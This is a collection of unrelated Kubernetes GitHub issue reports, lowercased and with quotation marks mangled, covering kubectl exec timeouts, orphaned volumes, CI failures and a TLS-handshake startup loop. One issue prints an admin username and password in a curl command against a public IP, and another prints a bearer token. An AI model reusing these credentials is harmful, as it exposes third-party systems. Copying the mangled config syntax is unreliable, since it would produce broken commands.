\ basepath\  with value \ & x2f;\  fails to match the start with a slash, don't end with one pattern  \r     at object.exports.process  /usr/share/kibana/node_modules/joi/lib/errors.js:181:19 \r     at _validatewithoptions  /usr/share/kibana/node_modules/joi/lib/any.js:651:31 \r     at root.validate  /usr/share/kibana/node_modules/joi/lib/index.js:121:23 \r     at config._commit  /usr/share/kibana/src/server/config/config.js:114:35 \r     at config.set  /usr/share/kibana/src/server/config/config.js:84:10 \r     at config.extendschema  /usr/share/kibana/src/server/config/config.js:57:10 \r     at _lodash2.default.each.child  /usr/share/kibana/src/server/config/config.js:46:14 \r     at arrayeach  /usr/share/kibana/node_modules/lodash/index.js:1289:13 \r     at function.<anonymous>  /usr/share/kibana/node_modules/lodash/index.js:3345:13 \r     at config.extendschema  /usr/share/kibana/src/server/config/config.js:45:31 \r     at new config  /usr/share/kibana/src/server/config/config.js:36:10 \r     at function.withdefaultschema  /usr/share/kibana/src/server/config/config.js:29:12 \r     at kbnserver.module.exports  /usr/share/kibana/src/server/config/setup.js:13:39 \r     at /usr/share/kibana/src/server/kbn_server.js:156:20\r     at next  native \r     at step  /usr/share/kibana/src/server/kbn_server.js:77:191 \r   isjoi: true,\r   name: 'validationerror',\r   details: \r      { message: '\ basepath\  with value \ & x2f;\  fails to match the start with a slash, don\\'t end with one pattern',\r        path: 'server.basepath',\r        type: 'string.regex.name',\r        context:  object  }  ,\r   _object: \r    { pkg: \r       { version: '5.5.1',\r         branch: '5.x',\r         buildnum: 15405,\r         buildsha: '32ff80dbccdff23911015425bfaf4ae32ea0c0c1' },\r      dev: { basepathproxytarget: 5603 },\r      pid: { exclusive: false },\r      cpu: { cgroup:  object  },\r      cpuacct: { cgroup:  object  },\r      server: { name: 'kibana', host: '0', basepath: '/' } },\r   annotate:  function  }\r    \r if dont  modify the server_basepath ，the ingress rewrite to the \r    \r http://kibana.k8s.com:30080/api/v1/proxy/namespaces/kube-system/services/kibana-logging/app/kibana\r    \r

 \r   what happened  :\r i upgrade my k8s cluster to v1.7.11,\r i use kubectl exec <pod> -it bash to enter the pod out of cluster, but it will auto exit pod after 1 minitue, \r and i kubectl exec <pod> -it bash in cluster master node, it dones't auto exit. \r but this situation does not exist in kubernetes v1.4.6\r \r i suspect network firewall.\r is there anyone in this situation? please guide to me, thanks!\r \r    \r date && kubectl exec php-devops-lark-web.dev.test-3486201886-0blhb -it bash --context=cq17 && date\r 2018年 02月 06日 星期二 09:59:52 utc\r  root@php-devops-lark-web data   \r 2018年 02月 06日 星期二 10:00:43 utc\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t18:34:52z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t17:51:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os：centos linux release 7.4.1708  core \r - kernel: 3.10.0-693.el7.x86_64\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r reported by @cduchesne \r \r when you deploy a pod with a non-existent configmap or secret, and then terminate it before it ever starts up, it will leave an unclean configmap/secret volume path on host fileystem. this will result in \ orphaned pod\  errors for said pod until kubelet is restarted or configmap/secret directories are cleaned manually.\r \r example:\r    \r jun 05 19:46:58 xxxx kubelet 47894 : e0605 19:46:58.301042   47894 kubelet_volumes.go:140  orphaned pod \ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\  found, but volume paths are still present on disk : there were a total of 3 errors similar to this. turn up verbosity to see them.\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r reproducable: always\r \r    \r 1. create following example pod with configmap cm-data  cm-data should not exist :\r \r apiversion: v1\r kind: pod\r metadata:\r   name: cm-test\r spec:\r   containers:\r   - name: cm-test\r     image: alpine:3.7\r     command:  \ sh\ , \ -c\ , \ tail -f /dev/null\  \r     volumemounts:\r     - name: cm-data\r       mountpath: /data\r   volumes:\r   - name: cm-data\r     configmap:\r       name: cm-data\r \r \r 2. get kubelet location and pod id.\r \r $ kubectl get pods cm-data -o wide && kubectl get pod cm-test -o jsonpath='{.metadata.uid}'; echo\r name                        ready     status              restarts   age       ip              node\r cm-test                     0/1       containercreating   0          5s        <none>          node01\r 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\r \r 3. tail logs of kubelet on destination host\r \r $ journalctl -xef -u kubelet | grep 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\r jun 05 19:42:32 node01kubelet 47894 : e0605 19:42:32.641477   47894 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/configmap/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-cm-data\\\   \\\ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\\\  \  failed. no retries permitted until 2018-06-05 19:42:40.64144685 +0000 gmt m=+75968.664028021  durationbeforeretry 8s . error: \ mountvolume.setup failed for volume \\\ cm-data\\\   uniquename: \\\ kubernetes.io/configmap/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-cm-data\\\   pod \\\ cm-test\\\   uid: \\\ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\\\   : configmaps \\\ cm-data\\\  not found\ \r jun 05 19:42:40 node01kubelet 47894 : e0605 19:42:40.663968   47894 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/configmap/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-cm-data\\\   \\\ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\\\  \  failed. no retries permitted until 2018-06-05 19:42:56.663932466 +0000 gmt m=+75984.686513624  durationbeforeretry 16s . error: \ mountvolume.setup failed for volume \\\ cm-data\\\   uniquename: \\\ kubernetes.io/configmap/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-cm-data\\\   pod \\\ cm-test\\\   uid: \\\ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\\\   : configmaps \\\ cm-data\\\  not found\ \r jun 05 19:42:56 node01kubelet 47894 : e0605 19:42:56.711153   47894 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/configmap/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-cm-data\\\   \\\ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\\\  \  failed. no retries permitted until 2018-06-05 19:43:28.711123827 +0000 gmt m=+76016.733704996  durationbeforeretry 32s . error: \ mountvolume.setup failed for volume \\\ cm-data\\\   uniquename: \\\ kubernetes.io/configmap/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-cm-data\\\   pod \\\ cm-test\\\   uid: \\\ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\\\   : configmaps \\\ cm-data\\\  not found\ \r \r 3. delete pod and watch tail of destination host:\r \r jun 05 19:43:27 node01kubelet 47894 : i0605 19:43:27.600572   47894 reconciler.go:181  operationexecutor.unmountvolume started for volume \ default-token-9xmgq\   uniquename: \ kubernetes.io/secret/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-default-token-9xmgq\   pod \ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\   uid: \ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\  \r jun 05 19:43:27 node01kubelet 47894 : i0605 19:43:27.600656   47894 reconciler.go:285  volume detached for volume \ cm-data\   uniquename: \ kubernetes.io/configmap/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-cm-data\   on node \ node09\  devicepath \ \ \r jun 05 19:43:27 node01kubelet 47894 : i0605 19:43:27.614104   47894 operation_generator.go:686  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-default-token-9xmgq\   outervolumespecname: \ default-token-9xmgq\   pod \ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\   uid: \ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\  . innervolumespecname \ default-token-9xmgq\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r jun 05 19:43:27 node01kubelet 47894 : i0605 19:43:27.700922   47894 reconciler.go:285  volume detached for volume \ default-token-9xmgq\   uniquename: \ kubernetes.io/secret/920ed6d3-68f8-11e8-a5c9-5cb9018ebed8-default-token-9xmgq\   on node \ node09\  devicepath \ \ \r jun 05 19:43:34 node01kubelet 47894 : e0605 19:43:34.292835   47894 kubelet_volumes.go:140  orphaned pod \ 920ed6d3-68f8-11e8-a5c9-5cb9018ebed8\  found, but volume paths are still present on disk : there were a total of 2 errors similar to this. turn up verbosity to see them.\r \r    \r \r   anything else we need to know?  :\r \r error is same for configmaps and secrets because they have similar setupat functions.\r \r @cduchesne believes the error is from:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/configmap/configmap.go l197\r \r and he suggests:\r mountpath is created before getting configmap/secret. if kubelet fails to get configmap, it errors without cleaning up what it started. easiest fix is to move volume prep to after retrieval of configmap  which should be done anyway , but should also clean up after failure.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r curl -s localhost:8001/api/v1\r \r     {\r       \ name\ : \ pods/attach\ ,\r       \ singularname\ : \ \ ,\r       \ namespaced\ : true,\r       \ kind\ : \ pod\ ,\r       \ verbs\ :   \r     },\r \r     {\r       \ name\ : \ pods/exec\ ,\r       \ singularname\ : \ \ ,\r       \ namespaced\ : true,\r       \ kind\ : \ pod\ ,\r       \ verbs\ :   \r     },\r

from  kubernetes sig cloud provider issues  https://docs.google.com/document/d/1oze-ub-v6b8y-guawejl-vu_f9jsjbbrim4lttfxssw/edit \r \r clean up aws import formatting. packages should be grouped based on the root urls with stdlib packages coming first.  pkg/cloudprovider/providers/aws/instances.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/instances.go l19-l31  for example has stdlib packages in two separate groups and  k8s.io  and  github.com  packages together. there are other files in this package that need similar clean up\r \r   /cc @andrewsykim

related:  62047\r \r on windows, kubelet reports only the cumulative usagecorenanoseconds  for cpu usage.\r    \r     \ containers\ :                                                                                                               \r      {                                                                                                                          \r       \ name\ : \ foo\ ,                                                                                                         \r       \ starttime\ : \ 2019-01-09t23:26:05z\ ,                                                                                      \r       \ cpu\ : {                                                                                                                  \r        \ time\ : \ 2019-01-10t01:02:31z\ ,                                                                                          \r        \ usagecorenanoseconds\ : 25156250000                                                                                      \r       },\r    \r \r on linux, kubelet reports both  usagecorenanoseconds  and the instantaneous  usagenanocores .\r    \r     \ containers\ :  \r      {\r       \ name\ : \ foo\ ,\r       \ starttime\ : \ 2019-01-09t23:18:42z\ ,\r       \ cpu\ : {\r        \ time\ : \ 2019-01-10t01:08:29z\ ,\r        \ usagenanocores\ : 2825438,\r        \ usagecorenanoseconds\ : 19549406996\r       },\r    \r \r although in the future, most components/monitoring pipelines will switch to using the cumulative metrics, a few features still depend on the instantaneous  usagenanocores  metrics today. examples are:  kubectl top , hpa/vpa. kubelet should report this metrics on windows to support the existing features.\r \r /cc @dashpole, who explained to me what features depend on the cpu metrics.\r /cc @kubernetes/sig-windows-feature-requests @patricklang @feiskyer \r /cc @pjh @mtaufen

which jobs are failing  :\r    sig-release-master-blocking kubeadm-gce-stable-on-master  https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-stable-on-master \r    sig-release-master-blocking kubeadm-gce-master  https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-master \r \r   which test s  are failing  :\r    dumpclusterlogs  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-stable-on-master/5472 \r \r   since when has it been failing  :\r around 18:55, 2/5. the failures seem to coincide with changes on test-infra , see  diff  https://github.com/kubernetes/test-infra/compare/3575681ec...335caa0b1 .\r \r   testgrid link  :\r    https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-stable-on-master  https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-stable-on-master  \r \r   reason for failure  :\r    \r subprocess.calledprocesserror: command ' 'kubetest', '--dump=/workspace/_artifacts', '--gcp-service-account=/etc/service-account/service-account.json', '--up', '--down', '--test', \r '--deployment=kubernetes-anywhere', '--provider=skeleton', '--cluster=e2e-5472-4a39f', '--gcp-network=e2e-5472-4a39f', '--extract=release/stable', '--gcp-zone=us-west1-b', \r '--kubernetes-anywhere-kubelet-version=stable', '--kubernetes-anywhere-kubernetes-version=stable', '--test_args=--ginkgo.focus=\\\\ conformance\\\\ |\\\\ feature:bootstraptokens\\\\ |\\\\ feature:nodeauthorizer\\\\  --minstartuppods=8', \r '--timeout=300m', '--kubernetes-anywhere-path=/workspace/k8s.io/kubernetes-anywhere', '--kubernetes-anywhere-phase2-provider=kubeadm', \r '--kubernetes-anywhere-cluster=e2e-5472-4a39f', '--kubernetes-anywhere-kubeadm-version=gs://kubernetes-release-dev/ci/v1.14.0-alpha.2.365+0dfbbc290cce9d-bazel/bin/linux/amd64/' ' returned non-zero exit status 1\r    \r \r cc @mortent @kacole2 @mariantalla @smourapina\r \r  

hi,  this is probably a documentation issue. when checking the docs for how to use service accounts we have this page:  http://kubernetes.io/v1.1/docs/user-guide/service-accounts.html  it points to \ accessing the cluster\ :   http://kubernetes.io/v1.1/docs/user-guide/accessing-the-cluster.html accessing-the-api-from-a-pod  which if we don't use a client library points to using a kubectl container described in:  http://kubernetes.io/v1.1/examples/kubectl-container/  but this page does not have any links. if we check the source:  https://github.com/kubernetes/kubernetes/tree/4ca66d2aefa20c27b670b2fa890052daadc05294/examples/kubectl-container  we do see the makefile and dockerfile, it indicates that there should be a kubectl container on gcr:      gcloud docker push gcr.io/google_containers/kubectl:$ tag       but this container does not have the latest version: 1.1.4, 1.1.8  so questions are:  1- is using a kubectl proxy sidecar still recommended ? 2- if yes, why is the latest version not pushed ?

a non-comprehensive list ordered by an approximation of priority. mostly for documentation and reducing bus factor:\r -     source ip preservation for external lb services   28647 \r -  x  run ingress controller as static pod on master  https://github.com/kubernetes/kubernetes/issues/23663 \r -     fix beta limitations   gce  https://github.com/kubernetes/contrib/blob/master/ingress/controllers/gce/beta_limitations.md ,  nginx  https://github.com/kubernetes/contrib/tree/master/ingress/controllers/nginx limitations  \r -     improve e2es  write a single generic e2e for nginx/aws/gce \r -  x  let different controllers co-exist aka ingress claims  https://github.com/kubernetes/kubernetes/issues/24393, https://github.com/kubernetes/kubernetes/issues/30151 \r -     finish other controllers: aws  https://github.com/kubernetes/contrib/issues/346 , haproxy  https://github.com/kubernetes/contrib/pull/206 , f5  https://github.com/kubernetes/contrib/issues/12 \r -     l4 in ingress - ssl proxy, sni etc  https://github.com/kubernetes/kubernetes/issues/23291, https://github.com/kubernetes/kubernetes/issues/19333, https://github.com/kubernetes/kubernetes/pull/25821 \r -  x  health checks - just scrape endpoints for http readiness?  https://github.com/kubernetes/contrib/issues/325, b/27217458 \r -     cert generation  https://github.com/kubernetes/kubernetes/issues/19899, https://github.com/kubernetes/kubernetes/issues/23482 \r -     external dns integration\r -     rewrite/redirect rules  lot of context on https://github.com/kubernetes/contrib/issues/679 \r -     client affinity and algorithms  we already do this  through annoations  https://github.com/kubernetes/contrib/blob/master/service-loadbalancer/service_loadbalancer.go l56  \r -     type=loadbalancer spins up internal lb  https://github.com/kubernetes/kubernetes/issues/23791 \r -     dos protection  https://github.com/kubernetes/kubernetes/issues/30088 \r -     traffic splitting  https://github.com/kubernetes/kubernetes/issues/25485   \r -     tls to backend  https://github.com/kubernetes/kubernetes/issues/32928 \r -     soak tests  https://github.com/kubernetes/kubernetes/issues/37335 \r \r @kubernetes/goog-cluster \r

environment: kubernetes in aws  previously i tried 30+ times in version kubernetes 1.2.4 on aws . it works flawless all the times.  today when i tried the same with fresh new cluster with kubernetes version 1.3.0 . the cluster initialisation loops forever for 30 minutes      creating autoscaling group  0 minions started; waiting  0 minions started; waiting  0 minions started; waiting  0 minions started; waiting  5 minions started; ready waiting for cluster initialization.    this will continually check to see if the api for kubernetes is reachable.   this might loop forever if there was some uncaught error during start   up.  .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................      kube version      kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      i go and checked each of the nodes with \ docker ps\  , and all of the nodes responded.  the below are the kube-apiserver logs from master.      tail -f /var/log/kube-apiserver.log  i0707 10:46:01.682375       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-57.us-west-2.compute.internal/status:  3.478826ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.57:39608  i0707 10:46:03.321912       7 logs.go:41  http: tls handshake error from 182.74.106.3:37435: tls: client offered an unsupported, maximum protocol version of 301 i0707 10:46:03.684879       7 handlers.go:165  get /api/v1/nodes:  2.205527ms  200   pod_nanny/v0.0.0  linux/amd64  kubernetes/$format  172.20.0.57:56892  i0707 10:46:03.688692       7 handlers.go:165  get /api/v1/namespaces/kube-system/pods/heapster-v1.1.0-3166934156-x3pqp:  1.511805ms  200   pod_nanny/v0.0.0  linux/amd64  kubernetes/$format  172.20.0.57:56892  i0707 10:46:03.719907       7 handlers.go:165  get /api/v1/nodes:  1.735749ms  200   pod_nanny/v0.0.0  linux/amd64  kubernetes/$format  172.20.0.57:56894  i0707 10:46:03.723690       7 handlers.go:165  get /api/v1/namespaces/kube-system/pods/heapster-v1.1.0-3166934156-x3pqp:  1.531456ms  200   pod_nanny/v0.0.0  linux/amd64  kubernetes/$format  172.20.0.57:56894  i0707 10:46:04.832582       7 handlers.go:165  get /healthz:  98.701µs  200   go-http-client/1.1  127.0.0.1:55365  i0707 10:46:05.082949       7 handlers.go:165  get /api/v1/nodes:  1.584727ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/node-controller  127.0.0.1:55358  i0707 10:46:05.244386       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-58.us-west-2.compute.internal:  1.078198ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.58:34755  i0707 10:46:05.252279       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-58.us-west-2.compute.internal/status:  3.069901ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.58:34755  i0707 10:46:05.962474       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-54.us-west-2.compute.internal:  1.352055ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.54:55878  i0707 10:46:05.968562       7 logs.go:41  http: tls handshake error from 182.74.106.3:37436: tls: client offered an unsupported, maximum protocol version of 301 i0707 10:46:05.971862       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-54.us-west-2.compute.internal/status:  3.127346ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.54:55878  i0707 10:46:07.210960       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-56.us-west-2.compute.internal:  1.406006ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.56:57991  i0707 10:46:07.221951       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-56.us-west-2.compute.internal/status:  3.563008ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.56:57991  i0707 10:46:08.619418       7 logs.go:41  http: tls handshake error from 182.74.106.3:37437: tls: client offered an unsupported, maximum protocol version of 301 i0707 10:46:08.640468       7 handlers.go:165  get /api/v1/watch/secrets?fieldselector=type%3dkubernetes.io%2fservice-account-token&resourceversion=15&timeoutseconds=573:  9m33.000413463s  200   kube-apiserver/v1.3.0  linux/amd64  kubernetes/2831379  127.0.0.1:51381  i0707 10:46:09.977067       7 handlers.go:165  get /api/v1/nodes:  1.621331ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.978726       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-54.us-west-2.compute.internal:  917.251µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.980799       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-54.us-west-2.compute.internal/status:  1.555254ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.982049       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-55.us-west-2.compute.internal:  811.358µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.983941       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-55.us-west-2.compute.internal/status:  1.375196ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.985281       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-56.us-west-2.compute.internal:  894.413µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.987236       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-56.us-west-2.compute.internal/status:  1.474856ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.988493       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-57.us-west-2.compute.internal:  856.196µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.990389       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-57.us-west-2.compute.internal/status:  1.414768ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.991670       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-58.us-west-2.compute.internal:  851.331µs  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:09.993575       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-58.us-west-2.compute.internal/status:  1.359682ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/route-controller  127.0.0.1:55358  i0707 10:46:10.085520       7 handlers.go:165  get /api/v1/nodes:  1.539579ms  200   kube-controller-manager/v1.3.0  linux/amd64  kubernetes/2831379/node-controller  127.0.0.1:55358  i0707 10:46:10.648457       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-55.us-west-2.compute.internal:  1.396064ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.55:47727  i0707 10:46:10.658403       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-55.us-west-2.compute.internal/status:  5.005459ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.55:47727  i0707 10:46:11.271671       7 logs.go:41  http: tls handshake error from 182.74.106.3:37438: tls: client offered an unsupported, maximum protocol version of 301 i0707 10:46:11.684834       7 handlers.go:165  get /api/v1/nodes/ip-172-20-0-57.us-west-2.compute.internal:  1.328298ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.57:39608  i0707 10:46:11.693274       7 handlers.go:165  put /api/v1/nodes/ip-172-20-0-57.us-west-2.compute.internal/status:  2.990194ms  200   kubelet/v1.3.0  linux/amd64  kubernetes/2831379  172.20.0.57:39608        in particular       http: tls handshake error from 182.74.106.3:38370: tls: client offered an unsupported, maximum protocol version of 301  logs.go:41  http: tls handshake error from 182.74.106.3:38371: tls: client offered an unsupported, maximum protocol version of 301  http: tls handshake error from 182.74.106.3:38372: tls: client offered an unsupported, maximum protocol version of 301 logs.go:41  http: tls handshake error from 182.74.106.3:38373: tls: client offered an unsupported, maximum protocol version of 301      while debugging the util.sh stuck at       ++ curl --insecure --user admin:fzzzkn18jgav7q66 --max-time 5 --fail --output /dev/null --silent https://52.36.190.215/healthz  due to the tls handshake error      it is not happend on the previous releases. 1.2.4

these days, there is a proposal https://github.com/kubernetes/kubernetes/pull/27129 states we should be able to do an image review, for example, to ensure that the image does not have any vulnerabilities, we may set up an clair instance, and enabling an admission controller to query its api to verify this image is safe to run.  however there is one thing more to consider as well, there is a concept which is named  docker content trust  https://blog.docker.com/2015/08/content-trust-docker-1-8/ , it is used to ensure we always get the correct image, the _correct_ means we are pulling images from the right source, and it is exactly pushed by some people including ci .  i did not get the answer clearly on how will this be involved in, for example, the  dockerinterface  may introduce another method, something like  verifyimage , or it could be part of  pullimage .  cc @erictune @liggitt

is it possible to prevent containers in a pod in a particular namespace from resolving services outside the pods namespace? this should be possible but after fruitless googling i can't find any documentation on this.  eg.  php pod in bob namespace can resolve mysql at  mysql.bob:3306  but can't resolve mysql in alice's namespace at  mysql.alice.svc.cluster.local

in some system,one of the pod was elected by raft or some other algorithm,in some case,especially for the statefull application,people need to restart/scale/stop the specific pod which labled by a pod-template-hash in one deployment.\r but now we can not do that cause kubectl scale/delete didn't have the -l opthion

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : i have already checked.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : unable to make rest api request.\r \r ---\r \r   is this a bug report or feature request?    choose one : na\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ 87d9d8d7bc5aa35041a8ddfe3d4b367381112f89\ , gittreestate:\ clean\ , builddate:\ 2017-01-23t14:15:25z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ 87d9d8d7bc5aa35041a8ddfe3d4b367381112f89\ , gittreestate:\ clean\ , builddate:\ 2017-01-23t14:15:25z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :centos\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  : we have configured kubernetes on centos machine and trying to configure https  secure  instance, we tried running api server with sudo /usr/bin/kube-apiserver --secure-port=8081 --logtostderr=true --v=0 --etcd-servers=http://127.0.0.1:2379  --address=0.0.0.0 --port=8083 --kubelet-port=10250 --allow-privileged=false --service-cluster-ip-range=10.254.0.0/16 --admission-control=securitycontextdeny --token-auth-file=/tmp/tokens.csv --client-ca-file=/var/run/kubernetes/ca.crt --tls-private-key-file=/var/run/kubernetes/server.key --tls-cert-file=/var/run/kubernetes/server.crt\r i dont find any error after running this command but getting an error after running following curl command.\r \r curl -x post -h content-type:application/json --cacert ca.crt -h \ authorization: bearer bcdtoken1234\  -d @\ c:\\users\\mansings\\desktop\ ewpod.json\  https://52.51.76.237:8081/api/v1\r \r however it works when i pass http://52.51.76.237:8083/api/v1  insecure url \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

